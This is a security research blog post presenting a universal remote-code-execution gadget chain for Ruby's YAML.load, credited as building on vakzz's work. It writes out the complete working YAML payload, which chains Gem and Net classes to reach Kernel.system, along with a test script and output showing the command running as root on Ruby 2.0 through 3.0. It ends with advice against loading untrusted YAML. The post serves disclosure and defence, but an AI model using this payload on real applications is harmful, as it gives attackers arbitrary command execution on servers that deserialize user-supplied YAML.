Universal RCE with Ruby YAML.load (versions > 2.7)January 9, 2021A couple of years ago I wrote a universal YAML.load deserialization RCE gadget based on the work by Luke Jahnke from elttam. This has since been patched and no longer works on Ruby versions after 2.7.2 and Rails 6.1. Fortunately, William Bowling (vakzz) has found a new gadget chain that works on all Ruby versions 2.x - 3.x. His write-up for this is excellent and I highly recommend you give it a read: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html.As with the previous gadget I wanted to make this exploitable via YAML.load. In this instance I’m not going to go through the whole process of getting to this, since it was almost identical to the process covered in my previous post.New YAML payloadThe new payload is pretty straight forward and easy to understand. The one interesting part is that the payload needs to include both Gem::Installer and Gem::SpecFetcher to ensure all the required classes are loaded by the autoloader. To accomplish this, they are added as ruby objects at the start of the yaml payload. For these to actually be loaded/deserialized, they need to have data, thus the i: x and i: y. These don’t matter, they simply need to be valid Yaml.The actual command to execute is in the git_set entry:--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve Using the following Ruby script to test the payload:require "yaml" YAML.load(File.read("p.yml")) The outcome is RCE, there is still an error that occurs, but at this point command execution has already occurred.rubby@rev:/tmp$ ruby r.rb sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) Traceback (most recent call last): 32: from r.rb:8:in `<main>' 31: from /usr/local/lib/ruby/2.7.0/psych.rb:279:in `load' 30: from /usr/local/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby' 29: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 28: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 27: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 26: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document' 25: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 24: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 23: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 22: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence' 21: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty' 20: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each' 19: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty' 18: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 17: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 16: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 15: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping' 14: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive' 13: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with' 12: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:220:in `init_with' 11: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:216:in `yaml_initialize' 10: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements' 9: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each' 8: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from' 7: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:152:in `read' 6: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG' 5: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 4: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write' 3: from /usr/local/lib/ruby/2.7.0/rubygems/request_set.rb:400:in `resolve' 2: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 1: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write' /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError) Using vakzz’s test (and adding a rescue nil to silence the error message), you get the same results showing that this works on ruby 2.x through 3.x:~/ruby# for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker run --rm -it -v `pwd`:/r --workdir=/r ruby:${i} ruby -e 'require "yaml"; YAML.load(File.read("p.yml")) rescue nil'; done ruby:2.0 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.1 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.2 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.3 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.4 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.5 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.6 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:2.7 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ruby:3.0 - sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) ConclusionAs always, never use YAML.load with user supplied data, better yet, stick to using SafeYAML.Payload: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565